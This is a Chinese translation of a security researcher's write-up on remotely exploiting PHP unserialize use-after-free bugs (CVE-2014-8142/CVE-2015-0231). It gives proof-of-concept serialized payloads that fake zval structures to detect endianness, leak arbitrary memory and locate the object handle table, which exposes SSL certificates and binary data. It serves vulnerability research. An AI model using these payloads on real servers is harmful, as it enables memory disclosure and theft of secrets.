<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/4988

            0x00 前言


            作者:Cigital公司的安全顧問Qsl1pknotp(Tim Michaud)

            題目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 2:Remote Exploitation

            地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in_23.html

            上一部分中,我們找到了本地利用CVE-2014-8142和CVE-2015-0231的方法。在第二部分中,我們將進一步探討漏洞的遠程利用,并明確通過我們的方法到底能竊取到什么有用信息。本部分的研究是只針對CVE-2015-0231的,至于CVE-2014-8142的遠程利用,其實讀者完全可以根據第一部分中的概述,自己做一些修改來完成。

            0x01 PHP中 “序列化”特性應用


            上一部分中我們講到,Esser給出的代碼可以泄露一個攻擊者不可控的地址的數據。代碼如下:

            #!php
            <?php
            $data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
            $x = unserialize($data);
            var_dump($x);
            ?>
            

            source: StefanEsser_Original_LocalMemLeak.php

            雖然上述代碼是有用的,但是它沒有達到我們期待的效果!我們想要的是遠程泄露任意內存地址的數據,而不是基本上沒什么作用的隨機地址數據。為了做到這一點,我們需要找到一種方法來完成以下兩個目標:

            寫任意數據(確保PHP不崩潰)

            讀任意數據(確保PHP不崩潰)

            跟生活中的其他事情一樣,一次只解決一個問題往往要容易一些。因此,我們首先從完成目標1開始做起。其實我們是可以做到寫任何我們所需的數據的,因為發送的是自己的object對象。然而,我們需要的是找到方法來寫有用的信息,如下是我們上一回中講到的最后一個例子:

            #!php
            <?php
            
            $fakezval = pack(
                'IIII',     //unsigned int
                0x08048000, //address to leak
                0x0000000f, //length of string
                0x00000000, //refcount
                0x00000006  //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
            );
            //obj from original POC by @ion1c
            $obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
            $obj=unserialize($obj);
            
            for($i = 0; $i < 5; $i++) { //this i value is larger than usually required
                $v[$i]=$fakezval.$i; //repeat to overwrite
            }
            //due to the reference being overwritten by our loop above, leak memory
            echo $obj->ccc;
            ?>
            

            source:PHPLeak

            這里我們把關注重點放在$fakezval變量上。有沒有辦法可以在序列化對象中遠程寫該zval?(提示:這是php的一個“特性”?:D!) (順便提醒下,千萬不要像我一樣的愚蠢而懶惰,一定要仔細地去讀所有的代碼。在找到這部分如此明顯的代碼之前,我就浪費了5、6個小時的時間。)

            幸好,PHP中字符串有一個“序列化”特性。序列化字符串中的該特性允許我們序列化和反序列化二進制數據。讓我們動手操作一個S對象,對序列化原理加深理解,并進一步學會如何利用該特性!

            #!php
            <?php
            ?
            $data='a:1:{i:0;S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";}';
            ?
            var_dump(serialize($data));
            ?
            ?>
            

            source: SendBinaryData

            接下來運行上述代碼,我們可以看到一個奇怪結果:

            enter image description here

            其實這也沒什么奇怪的,我們明顯是程序中寫錯了些什么。為免大家捂臉悲嘆,本人直接提示了,這個錯誤肯定跟我們的S對象有關,你可以一個一個地數下$data的字節數!是的,我也知道PHP的錯誤提示已經爛到了什么都不提示的地步了……

            在正常化的序列化字符串中,例如s:3:”123”,整數3代表字符串包含的字符數。而在上面的代碼中,我們用的S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC"中也有一個整數(43),應該同樣表示字符串的長度,對嗎?

            其實并非如此。我們這里想要的不是一個文字字符串,而是可以使PHP解釋器按二進制數據來解析的二進制字符串,而這里的字符串也并非43個字節,而是17個字節。那么將43改為17試一下。

            enter image description here

            這下好了!那么為什么要用17呢?每一個\xx會被當做一個字符,這樣我們的字符串中就有13個字符了,而“AAAA”會被當做正常的字符來解析,因此長度需要再加4。簡言之,每一個\xx“三元組”被當做是一個字符。Ok,現在我們可以發送該字符串,但是我們該如何從解釋器中獲取想要信息呢?

            在可以泄露任意地址之前,讓我們一起再多學習下服務器本身,這會有助于我們寫出更加可靠的利用程序(第三部分中詳述)。作為練手,我們學習下如何確定服務器的字節順序,這將需要使用一個偽裝的整型zval結構。 想法還是一樣的:

            為什么要使用整型zval而不是一個string?我們回想一下zval數據結構,整型看起來將如下所示:

            把上述的放在一起,就得到了“S”的值!那么如何通過上述的結構確定服務器的字節順序呢?在服務器的響應中,如果返回0x100(256),就可以確定是小尾方式!如果返回的是65536,那么就是大尾方式!確定字節順序的完整php代碼如下:

            #!php
            <?php
            ?
            $data='O:8:"stdClass":4:{';
            $data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
            $data.='s:3:"123";i:0;';
            $data.='i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";';
            $data.='i:1;r:12;}';
            ?
            var_dump(serialize(unserialize($data)));
            ?
            ?>
            

            source: determineEndianness

            程序響應如下:

            enter image description here

            很好!現在我們已經能夠確定服務器的字節順序了!當然,我們真正想要的仍然是泄露任意數據。讓我們接著往下走,既然已經能夠泄露出我們所提供的數據了,那么是不是有可能泄露出任意地址的數據呢?

            0x02 任意地址數據泄露


            本篇文章并未就此結束,因而我們的答案當然是肯定的!不過,這次我們需要的不再是整型的zval結構,而是字符串型zval數據結構,結構如下:

            我們的新腳本如下所示:

            #!php
            <?php
            ?
            $data='O:8:"stdClass":4:{';
            $data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
            $data.='s:3:"123";i:0;';
            $data.='i:0;S:16:"\00\80\04\08\00\04\00\00\00\01\01\00\06\00\0B\BC";';
            $data.='i:1;r:12;}';
            ?
            var_dump(serialize(unserialize($data)));
            ?
            ?>
            

            source: leakDataAtAddress

            運行后的結果如下:

            enter image description here

            好極了!我們現在已經可以dump出任意地址的數據了,當然也要知道地址才行,而這是不實際的。那么我們如何遠程來提取地址呢?當然我們可以使用上一回中給出的代碼來泄露地址,但是泄露出來的地址并未指向重要數據。有沒有別的機制可以用來提取地址信息呢?

            0x03 地址信息遠程提取


            值得慶幸的是,確實有辦法來提取地址信息!看下面的代碼:

            #!php
            <?php
            ?
            $data='O:8:"stdClass":6:{';
            $data.='s:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}';
            $data.='s:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}';
            $data.='s:3:"456";i:1;';
            $data.='s:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}';
            $data.='s:3:"789";i:0;';
            $data.='i:1;r:56;}';
            $data=serialize(unserialize($data));
            ?
            var_dump($data);
            ?>
            

            source: leakLegitimateAddress

            運行后如下所示:

            enter image description here

            這是個相當大的數組,需要分解來看。總體思路如下:

            釋放掉對象數組后,數組中的前四個字節就會被內存緩存重寫(因此該內存重新變為可寫)。在這樣做時,字符串指針(之前是0x41414141)現在就指向了之前被釋放的內存對象。得到的地址太多,這里不一一列舉了,但不管如何,我們得到了合法的內存地址! 但是我們需要的是哪個地址呢?我們要找的是顯示有 “\x00\x00\x00\x00\x05\x00”的地址。這樣的地址是一個對象句柄(數據段中的一個數據結構)地址。現在,我們可以讀取整個對象句柄表,并獲取PHP代碼段中的信息(而這也正是我們感興趣的地方,因為我們下一回想要做的就是彈出一個shell)

            下面是查看PHP返回的16進制數據的命令:

            #!bash
            cphp newLeak.php | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'
            

            執行命令,我們用grep查找“\x00\x00\x00\x00\x05\x00”,得到如下地址:

            enter image description here

            如果在GDB中加載運行,我們也可以看到這個地址實際上是指向我們對象句柄的一個指針。提醒:運行前別忘記下斷點(我是在var_unserializer.c:337中設了一個)。

            enter image description here

            我們看到的如下所示:

            enter image description here

            在慶祝之前,讓我們先確認下這些句柄指向的確實是有用的東西,就看第一個入口點吧:0x0830a640。下面是該地址存儲的數據:

            enter image description here

            好極了!我們現在已經可以看到任何我們想要的數據了!

            0x04 可竊取信息


            總結一下,通過結合上述的這些方法,我們就可以獲取到: 完整的PHP二進制可執行文件本身(包括其數據) SSL Certs(通過mod_ssl) PHP符號表 別的模塊的地址(及其數據)

            0x05 下一步研究


            第三部分中,我們將探討如何彈出一個Shell!該技術也可用于CVE-2015-0273,以及其他的PHP UAF漏洞利用中。

            PS:第三部分的釋出需要一點時間,因為要完成進一步的利用還需要對PHP做深入的研究(包括閱讀一些資料),但是本人保證一定完成,絕不太監,敬請繼續關注。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线